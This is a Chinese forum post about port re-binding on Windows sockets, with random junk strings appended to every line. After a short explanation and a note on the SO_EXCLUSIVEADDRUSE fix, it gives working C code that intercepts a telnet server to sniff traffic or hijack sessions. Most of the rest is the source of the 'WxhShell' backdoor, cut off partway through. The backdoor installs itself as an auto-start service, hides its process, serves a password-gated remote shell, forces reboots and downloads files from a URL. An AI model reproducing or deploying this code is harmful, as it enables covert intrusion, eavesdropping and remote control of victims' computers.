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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @$R^-_m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JWV n@)s  
Lt2<3DB  
  saddr.sin_family = AF_INET; 5-! Zm]  
8c<OX!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Xu%8Q?]  
JLh{>_Rr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); il~A(`+YO  
4YyVh.x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Rc#c^F<  
q{2 +Inf#:  
  这意味着什么?意味着可以进行如下的攻击: & d@N3y  
OR<%h/ \f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T u7}*vsR  
V!zU4!@qP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ry`Y +  
&w{: qBa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @ayrI]m#>,  
1+9}Xnxb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wj-z;YCV  
m98w0D@Ee  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8Uoqj=5F  
u69fYoB'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ybp';8V  
[_1K1i"m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 XpT+xv1`;  
{8w,{p`  
  #include W3]?>sLE*  
  #include P|rreSv*  
  #include ]z"7v  
  #include    nrJW.F]S8[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ANlzF& K  
  int main() 3u&)6C?YM  
  { 8~:s$~&r  
  WORD wVersionRequested; ldRisL  
  DWORD ret; e<duD W$X  
  WSADATA wsaData; >36>{b<'$*  
  BOOL val; +W^$my)<  
  SOCKADDR_IN saddr; '=cAdja  
  SOCKADDR_IN scaddr; `c/mmS  
  int err; >/9on.  
  SOCKET s; C>Cb  
  SOCKET sc; i1DJ0xC]  
  int caddsize; |s, Add:S  
  HANDLE mt; B;^YHWJ6i  
  DWORD tid;   ~zyD=jx P9  
  wVersionRequested = MAKEWORD( 2, 2 ); ]Aa.=  
  err = WSAStartup( wVersionRequested, &wsaData ); LseS8F/q  
  if ( err != 0 ) { 5v5K}hx  
  printf("error!WSAStartup failed!\n"); y9X1X{  
  return -1; vl:V?-sY  
  } BiD}C  
  saddr.sin_family = AF_INET; e3}o3c_  
   #Y<(7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `Uy4>?  
k?qd -_sC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  9t_N 9@  
  saddr.sin_port = htons(23); <BhNmEo)2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S%2qX"8  
  { "Is0:au+?}  
  printf("error!socket failed!\n"); k/.a yLq  
  return -1; G*W54[  
  } 4=7h1qex  
  val = TRUE; 5<mGG;F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K&UTs$_cI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Erq% Ck(  
  { !y-,r4\@`  
  printf("error!setsockopt failed!\n"); CINC1Ll_24  
  return -1; Ob m%\h  
  } 2; ~jKR[~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3FE=?Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3p#BEH<re  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q4QF_um  
q+?>shqsZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7MhN>a;A\  
  { Nk@ag)  
  ret=GetLastError(); V jZx{1kCR  
  printf("error!bind failed!\n"); !1fAW! 8  
  return -1;   ]n (:X  
  } VY_<c98v  
  listen(s,2); ,c.(&@  
  while(1) #xe-Yw1!  
  { YCS8qEP&  
  caddsize = sizeof(scaddr); :?J0e4.]  
  //接受连接请求 8D1+["&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,<,#zG[.  
  if(sc!=INVALID_SOCKET)  jgd^{!  
  { 3{R7y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >gGdzL  
  if(mt==NULL) cH{[\F"Eb  
  { 1 -:{&!  
  printf("Thread Creat Failed!\n"); x>*#cOVz;C  
  break; aOK,Mm:iO  
  } Hsvu&>[`S  
  } HYWKx><   
  CloseHandle(mt); _1U7@v:<@  
  } fd/?x^Z  
  closesocket(s); VFjNrngl  
  WSACleanup(); C|H/x\?zRv  
  return 0; _{f7e^;  
  }   #Ss lH  
  DWORD WINAPI ClientThread(LPVOID lpParam) { ((|IvP`  
  { EhK5<v}  
  SOCKET ss = (SOCKET)lpParam; `vj"HhC  
  SOCKET sc; #Y;tobB  
  unsigned char buf[4096]; fqQ(EVpQ  
  SOCKADDR_IN saddr; qGH\3g-  
  long num; `6BjNV  
  DWORD val; H6/C7  
  DWORD ret; |6y(7Ha  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `(6g87h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `ot <BwxJ  
  saddr.sin_family = AF_INET; 1KWGQJ%%s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~n )<L7  
  saddr.sin_port = htons(23); h:l4:{A64  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .L'eVLQe  
  { R<FW?z*  
  printf("error!socket failed!\n"); f )K(la^'  
  return -1; HMrl!;:  
  } 9m:G8j'  
  val = 100; u&\QZW?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UYW{A G2C  
  { zb=L[2;  
  ret = GetLastError(); =V(|3?N  
  return -1; - BE.a<  
  } Sm(t"#dp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZclZD{%8J  
  { 3Sclr/t  
  ret = GetLastError(); Z{gJm9  
  return -1; :L'U>)k  
  } l S m7i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~w9.}   
  { g9K7_T #W  
  printf("error!socket connect failed!\n"); U~1jmxE  
  closesocket(sc); z=/xv},  
  closesocket(ss); G" &yE.E5  
  return -1; _(.,<R5  
  } xHo iu$i6  
  while(1) Q@"mL  
  { E` aAPk_ y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [sF z ;Py]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^N`bA8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nm.~~h+8M  
  num = recv(ss,buf,4096,0); G<f"_NT  
  if(num>0) 5o P 3 1  
  send(sc,buf,num,0); ;DXcEzV  
  else if(num==0) 2&Hn%q)  
  break; knU=#  
  num = recv(sc,buf,4096,0); S+7:fu2?+  
  if(num>0) *'&mcEpg  
  send(ss,buf,num,0); 6;8Jy  
  else if(num==0) aHzS>  
  break; q;{# ~<"+  
  } \vR&-+8dk  
  closesocket(ss); /18VQ  
  closesocket(sc); 3xU in  
  return 0 ; wf[B-2q)  
  } gfW8s+  
PIxd'B*MF  
Spt]<~  
========================================================== lm 1Mz  
`*`@ro  
下边附上一个代码,,WXhSHELL G6?+Qz r  
+dIO+(&g  
========================================================== hQT  p&  
OB{d^e}  
#include "stdafx.h" E"|LA[o  
;jEDGKLq  
#include <stdio.h> Q#} 0pq  
#include <string.h> S3oSc<&2  
#include <windows.h> I2R" Y<  
#include <winsock2.h> t|ih{0  
#include <winsvc.h> A_mVe\(*M  
#include <urlmon.h> ~H)s>6>#v  
r- :u*  
#pragma comment (lib, "Ws2_32.lib") `- \J/I  
#pragma comment (lib, "urlmon.lib") }{(dG7G+  
{xGM_vH1  
#define MAX_USER   100 // 最大客户端连接数 x=%p~$C  
#define BUF_SOCK   200 // sock buffer (<"uV%1  
#define KEY_BUFF   255 // 输入 buffer >5aZ?#TS1  
D V  
#define REBOOT     0   // 重启 mT7B#^H  
#define SHUTDOWN   1   // 关机 88GS Bg:YH  
v9<'nU WVR  
#define DEF_PORT   5000 // 监听端口 "GTlJqhk  
]&dU%9S  
#define REG_LEN     16   // 注册表键长度 gC+PpY#2h  
#define SVC_LEN     80   // NT服务名长度 @Weim7r  
Pr%Y!|  
// 从dll定义API %)|pUa&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i`Tp +e@a>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xxsax/h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BXCB/:0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4NY}=e5  
fnwhkL#8  
// wxhshell配置信息 @]rl2Qqe  
struct WSCFG { z; dFS  
  int ws_port;         // 监听端口 m=hlim;P,  
  char ws_passstr[REG_LEN]; // 口令 r? w^#V  
  int ws_autoins;       // 安装标记, 1=yes 0=no j`'9;7h M6  
  char ws_regname[REG_LEN]; // 注册表键名 OVo3.  
  char ws_svcname[REG_LEN]; // 服务名 +4N7 _Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nkp,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]r^/:M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "x+o(jOy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I:ag}L8`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cL]vJ`?Ih  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7<T1#~w4L  
Cw*:`  
}; /Vg=+FEO  
&tAhRMa  
// default Wxhshell configuration S[2uez`  
struct WSCFG wscfg={DEF_PORT, [dQL6k";b  
    "xuhuanlingzhe", qPn }$1+~  
    1, O7M8!3Eqm  
    "Wxhshell", m ll-cp  
    "Wxhshell", [eb?Fd~WB]  
            "WxhShell Service", ]f3[I3;K  
    "Wrsky Windows CmdShell Service", ?=bqya"Y  
    "Please Input Your Password: ", >{seaihK  
  1, [{i"Au]  
  "http://www.wrsky.com/wxhshell.exe", Ap :mc:  
  "Wxhshell.exe" + Z7 L&BI  
    }; H8'q Y  
9_h  V1:  
// 消息定义模块 nOH x^(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6D=9J%;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; prWK U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7CK3t/3D  
char *msg_ws_ext="\n\rExit."; TbUouoc  
char *msg_ws_end="\n\rQuit."; ]#7{ x  
char *msg_ws_boot="\n\rReboot..."; ($h`Y;4  
char *msg_ws_poff="\n\rShutdown..."; &}:]uC  
char *msg_ws_down="\n\rSave to "; pM|m*k  
V1P]mUs{1  
char *msg_ws_err="\n\rErr!"; +2KYtyI  
char *msg_ws_ok="\n\rOK!"; tFi'RRZ  
c\J?J>xz  
char ExeFile[MAX_PATH]; Xxz_h*  
int nUser = 0; 3tt3:`g  
HANDLE handles[MAX_USER]; '4"9f]:  
int OsIsNt; )$> pu{o  
,:E*Mw:  
SERVICE_STATUS       serviceStatus; b-`=^ny)K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XK";-7TZt  
L&I8lG  
// 函数声明 xA&RMu&  
int Install(void); U5iyvU=UG  
int Uninstall(void); 5}+&Em":  
int DownloadFile(char *sURL, SOCKET wsh); kL7n`o  
int Boot(int flag); 1Zh4)6x  
void HideProc(void); 6H#4iMeh  
int GetOsVer(void); 9sgyg3fv>5  
int Wxhshell(SOCKET wsl); Ue=Je~Ri;9  
void TalkWithClient(void *cs); =^9I)JW  
int CmdShell(SOCKET sock); x(tf0[g  
int StartFromService(void); ~OE1Sd:2  
int StartWxhshell(LPSTR lpCmdLine); k(]R;`f$W  
a(eKb2CX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kA"|PtrW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \U?$ r[P  
#B^A"?*S  
// 数据结构和表定义 UG!528;7  
SERVICE_TABLE_ENTRY DispatchTable[] = GBvgVX<  
{ <Wwcd8d  
{wscfg.ws_svcname, NTServiceMain}, s2X<b `  
{NULL, NULL} t/kMV6  
}; -r'/PbV0  
*6` };ASK  
// 自我安装 }#<mK3MBe  
int Install(void) vT&) 5nN  
{ 9'5`0$,|^  
  char svExeFile[MAX_PATH]; L%CBz]`  
  HKEY key; 0D s W1  
  strcpy(svExeFile,ExeFile); }t FRl  
&Rp/y%9  
// 如果是win9x系统,修改注册表设为自启动 Jqp;8DV}  
if(!OsIsNt) { !P"@oJ/Yy_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h 3`\L4b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wp |qv  
  RegCloseKey(key); l2*o@&.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { # GbfFoE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (X3}&aLF  
  RegCloseKey(key); hRFm]q  
  return 0; ~x-v%x6  
    } z#|tcHVFT  
  } `:Bm@eN  
} n([9U0!gu  
else { QSNPraT  
v(`9+*  
// 如果是NT以上系统,安装为系统服务 Yf?hl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [a[.tR38e  
if (schSCManager!=0) 8JFvz(SK>  
{ _wp_y-"  
  SC_HANDLE schService = CreateService wV\.NQtS  
  ( gtwUY$  
  schSCManager, 5kx-s6 `!  
  wscfg.ws_svcname, ~#];&WE  
  wscfg.ws_svcdisp, t[4V1:  
  SERVICE_ALL_ACCESS, *mjPNp'3{m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t}wwRWo2?f  
  SERVICE_AUTO_START, t8ZzBD!dP  
  SERVICE_ERROR_NORMAL, 5XzN%<_h9  
  svExeFile, p&$O}AX|  
  NULL, PY76;D*`  
  NULL, R^?9 V=Y<T  
  NULL, $}8@?>-w  
  NULL, [aF"5G  
  NULL WI6h G  
  ); BS|$-i5L  
  if (schService!=0) Qv}TUX4  
  { Kn*LwWne  
  CloseServiceHandle(schService); ]RxJ^'a63  
  CloseServiceHandle(schSCManager); 3%(,f,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c\le8C3  
  strcat(svExeFile,wscfg.ws_svcname); wA2^ I70-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  Eyq4w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^u:bgwP  
  RegCloseKey(key); 9U4 D$M  
  return 0; U62Z ?nge%  
    } `>Ms7G9S~e  
  } @gnLY  
  CloseServiceHandle(schSCManager); 2 -pv &  
} KsSIX  
} @+7CfvM  
pCC3r t(  
return 1; gx.\&W b  
} Vtv~jJ{m  
KP)t,\@f!  
// 自我卸载 s=>^ 8[0O  
int Uninstall(void) va2FgW`Bd+  
{ jx#9  
  HKEY key; DEW;0ic  
6F_:,b^  
if(!OsIsNt) { ~wQ M ?h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1T}jK^"  
  RegDeleteValue(key,wscfg.ws_regname); Z.b?Jzj  
  RegCloseKey(key); %)w7t[A2D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v, !`A!{D  
  RegDeleteValue(key,wscfg.ws_regname); [ D"5@  
  RegCloseKey(key); CT/>x3o  
  return 0; ct@3]  
  } vty:@?3\  
} #y f  
} `$MO;Fv,G  
else { D `av9I  
pf&U$oR4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0|kH0c,T-  
if (schSCManager!=0) 0j2mTF(C  
{ P8[k1"c!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6OR)97  
  if (schService!=0) ( 6ucA  
  { %@8#+#@J0  
  if(DeleteService(schService)!=0) { Ya}}a  
  CloseServiceHandle(schService); `neo.]  
  CloseServiceHandle(schSCManager); ^iWJqpLe  
  return 0; ;B !p4 hu  
  } vDyGxU!#\  
  CloseServiceHandle(schService); /m4Y87  
  } d4)0G-|  
  CloseServiceHandle(schSCManager); 3 bT?4  
} o(C;;C(*{  
} ( j:eky  
 tYG6Gl  
return 1; ?7"v~d]>  
} z'*{V\  
B%5"B} nG  
// 从指定url下载文件 89{`GKWX  
int DownloadFile(char *sURL, SOCKET wsh) fOdX2{7m  
{ nUK;M[  
  HRESULT hr; eh8lPTKil  
char seps[]= "/"; g9Ty%|Q7(  
char *token; Y?-Ef sK  
char *file; u4'B  
char myURL[MAX_PATH]; Tfx-h)oP3  
char myFILE[MAX_PATH]; tBETNt7  
k"6v& O  
strcpy(myURL,sURL); ND/oKM+?  
  token=strtok(myURL,seps); -C8LM ls  
  while(token!=NULL) \odns  
  { 9v1Snr  
    file=token; cC]]H&'Hg+  
  token=strtok(NULL,seps); Kw2]J)TO  
  } %/BBl$~ji  
e7tio!  
GetCurrentDirectory(MAX_PATH,myFILE); +11 oVW  
strcat(myFILE, "\\"); 1tTY )Evf  
strcat(myFILE, file); g?K? Fn.}  
  send(wsh,myFILE,strlen(myFILE),0); )\7Cp-E-W  
send(wsh,"...",3,0); m-#]v}0A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c=^69>w  
  if(hr==S_OK) 7PwH&rI  
return 0; y|NY,{:]  
else O-box?  
return 1; MP.ye|i4Q  
rV2>;FG  
} mo,"3YW  
d[*NDMO  
// 系统电源模块 EfkBo5@Qi  
int Boot(int flag) ?A~=.u@[d  
{ %d<UMbS^  
  HANDLE hToken; n57mh5mixM  
  TOKEN_PRIVILEGES tkp; %NfH`%`  
\Ym!5,^o  
  if(OsIsNt) { .y0u"@iF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j^eM i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h 0)oQrY  
    tkp.PrivilegeCount = 1; JvaHH!>d/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L(X}37  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i8DYC=r  
if(flag==REBOOT) { #a'CoJs   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ABL5T-*]  
  return 0; &)|f|\yh"  
} s?fEorG  
else { 7|Iq4@IT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yVJ)JhV  
  return 0; R;uP^  
} |uX&T`7?-  
  } Ri}JM3\J  
  else { @V+KL>Qw  
if(flag==REBOOT) { QkLcs6)R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /b6j<]H  
  return 0; 7t78=wpLc  
} 4 XGEw9`3  
else { w;J#+ik  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z5sKV7&\[n  
  return 0; &yqk96z  
} e`)zR'As  
} zOJzQZ~  
5 RYrAzQo  
return 1; -Byl~n3*D  
} v{8r46Y~Z)  
U;gy4rj  
// win9x进程隐藏模块 (: mF+%(  
void HideProc(void) dQ#oY|a  
{ En0hjXa  
-NDB.~E^DJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $us7fuKE  
  if ( hKernel != NULL ) [&zSYmDk  
  { HLh]*tQG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P{,=a]x,mz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '47E8PIJ|  
    FreeLibrary(hKernel); 8Z 0@-8vi  
  } !T}R=;)e h  
E clsOBg  
return; @^HZTuP2;  
} a JQ_V  
msw=x0{n5  
// 获取操作系统版本 ETfoL.d$(  
int GetOsVer(void) / 6DW+!  
{ }w)wW1&  
  OSVERSIONINFO winfo; F5\{`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \u6/nvZ]N  
  GetVersionEx(&winfo); sT91>'&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZrWA,~;  
  return 1; m\K1Ex  
  else q]y{ 4"=5  
  return 0; &3P"l.j  
} Ul|htB<1:  
w X.]O!^X~  
// 客户端句柄模块  Lvn+EM  
int Wxhshell(SOCKET wsl) @%6"xnb `  
{ <ol? 9tm  
  SOCKET wsh; I&5cUj{GX-  
  struct sockaddr_in client; Lx3`.F\mG  
  DWORD myID; PB@jh}  
oCB#i~|>a  
  while(nUser<MAX_USER) g<i>252>  
{ gq+#=!(2  
  int nSize=sizeof(client); ' h|d-p\`9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p$6L_ *$  
  if(wsh==INVALID_SOCKET) return 1; kyUG+M  
#LG<o3An  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6H|&HV(!R  
if(handles[nUser]==0) ymA8`k5>@  
  closesocket(wsh); q}J Eesf  
else w-``kID  
  nUser++; Ewo6Q){X  
  } ~gOdK-SV*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  Kuh)3/7  
hj3wxH.}  
  return 0; #M:Vwn JX  
} 0JLQ.%_  
.c_qMTm"  
// 关闭 socket _;G|3>5u  
void CloseIt(SOCKET wsh) a.SxMF  
{  C0j`H(  
closesocket(wsh); 2!}rH w  
nUser--; wmit>69S  
ExitThread(0); t` zPx#])  
} `AhTER  
D;X/7 p|>  
// 客户端请求句柄 *g 2N&U  
void TalkWithClient(void *cs) _MUSXB'  
{ i7xBi:Si  
]U3@V#*  
  SOCKET wsh=(SOCKET)cs; FJ O- p  
  char pwd[SVC_LEN]; );V.le}%(  
  char cmd[KEY_BUFF]; Us8nOr>5  
char chr[1]; -@`!p  
int i,j; /@K1"/fqH  
IL<@UWs6  
  while (nUser < MAX_USER) { -&r A<j  
hdxq@%Vs  
if(wscfg.ws_passstr) { |&rxDf}W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'E1m-kJz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t x#(K#/  
  //ZeroMemory(pwd,KEY_BUFF); ~.8p8\H  
      i=0; CWM_J9f  
  while(i<SVC_LEN) { 66Xo3 o  
WB=|Ty ~l  
  // 设置超时 P:v|JER   
  fd_set FdRead; N(L?F):fT  
  struct timeval TimeOut; O\)rp!i  
  FD_ZERO(&FdRead); C2W&*W*  
  FD_SET(wsh,&FdRead); b)@b63P_  
  TimeOut.tv_sec=8; G^_fbrZjN  
  TimeOut.tv_usec=0; %jmL#IN)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DsF<P@O6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y4N=v{EbL  
zX ?@[OT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MbjMO"}  
  pwd=chr[0]; c~iAjq+c  
  if(chr[0]==0xd || chr[0]==0xa) { uOprA`3  
  pwd=0; Tjza3M  
  break; *9xv0hRQ%?  
  } fkK42*U@r  
  i++; [5TGCGxP{  
    } ^%k[YJtB=i  
p1(<F_Kta  
  // 如果是非法用户,关闭 socket ^K n{L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  oN7JNMT  
} w-9fskd6e  
'J"m`a8no  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <hSrx7o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fb9!x/$tGV  
tgB\;nbB  
while(1) { t^-yK;`?q:  
c @~j}(A  
  ZeroMemory(cmd,KEY_BUFF); x7 l3&;yDv  
1lLL9l{UVw  
      // 自动支持客户端 telnet标准   beCTOmC  
  j=0; UuvI?D  
  while(j<KEY_BUFF) { Km9Y_`?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NRgNW1#  
  cmd[j]=chr[0]; N++jI(  
  if(chr[0]==0xa || chr[0]==0xd) { z}:|is)?  
  cmd[j]=0; _@Le MNv  
  break; ]5}C@W@_  
  } wa*/Am9;~  
  j++; lYq4f|5H}m  
    } O>j_xW]V  
{Ex*8sU%p%  
  // 下载文件 ,AO]4Ec  
  if(strstr(cmd,"http://")) { Zw`vPvb!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HX77XTy  
  if(DownloadFile(cmd,wsh)) SuU_psF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H=j&uv8  
  else - s,M+Q(<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sw'?&:<"Ow  
  } ,>rr|O  
  else { W%xg;uzp  
6.!Cm$l  
    switch(cmd[0]) { =E?!!EIq.  
  l" #}g%E  
  // 帮助 <[e E5X(  
  case '?': { 1k *gbXb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?zD? -  
    break; |%@.@c  
  } @1w9!\7Vt  
  // 安装 8 N5ga  
  case 'i': { ?/ @~ d  
    if(Install()) kt ILKpHt"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dDAI fe2y  
    else ]H4T80wm&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gs% cod  
    break; vIi#M0@N  
    } v;q<h  
  // 卸载 dvAvG.;U  
  case 'r': { $H9+>Z0(  
    if(Uninstall()) LyRU2A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4nfpPN t  
    else s:6pPJL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [=63xPxs.  
    break; 8%dE$smH  
    } \UdHN=A&  
  // 显示 wxhshell 所在路径 vT#$`M<  
  case 'p': { /a?*Ap5"  
    char svExeFile[MAX_PATH]; t_-1sWeA!  
    strcpy(svExeFile,"\n\r"); <F=U(WWn9  
      strcat(svExeFile,ExeFile); :+9KNyA  
        send(wsh,svExeFile,strlen(svExeFile),0); f#s /Ycp+  
    break; | Vtd !9  
    } $\0%"S  
  // 重启 D{]t50a.  
  case 'b': { aIrQ=}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FZW)C'j  
    if(Boot(REBOOT)) G\y:O9(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oA^aT:o +  
    else { Ye'=F  
    closesocket(wsh); !ys82  
    ExitThread(0); 1e 8J-Nkj  
    } [Ch)6p  
    break; 9!u=q5+E  
    } `uO(#au,U  
  // 关机 }/ p>DMN  
  case 'd': { Z'P>sV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nhfHY-l} 7  
